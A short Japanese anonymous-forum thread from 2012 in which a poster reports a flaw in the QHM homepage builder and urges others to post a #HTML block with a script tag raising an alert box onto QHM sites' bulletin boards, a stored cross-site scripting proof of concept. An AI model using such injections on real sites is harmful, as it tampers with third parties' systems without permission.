QHMの脆弱性発見

[0001 ◆./vIcLJ51. 2012/09/12(水) 18:18:00.15 ID:CMQnOKzZ0]

QHMの脆弱性発見した
試してみると面白い

BBSがあるQHMサイトのBBSに

#HTML{{
<script type="text/javascript">
<!--
alert("SPAM");
// -->
</script>
}}

上を書き込む
すると面白いことが起こる

[0002 ◆./vIcLJ51. 2012/09/12(水) 18:22:46.96 ID:CMQnOKzZ0]

それはQHMが悪いのではない
と思う人もいるだろうけどQHMが対策してないのが悪いと思う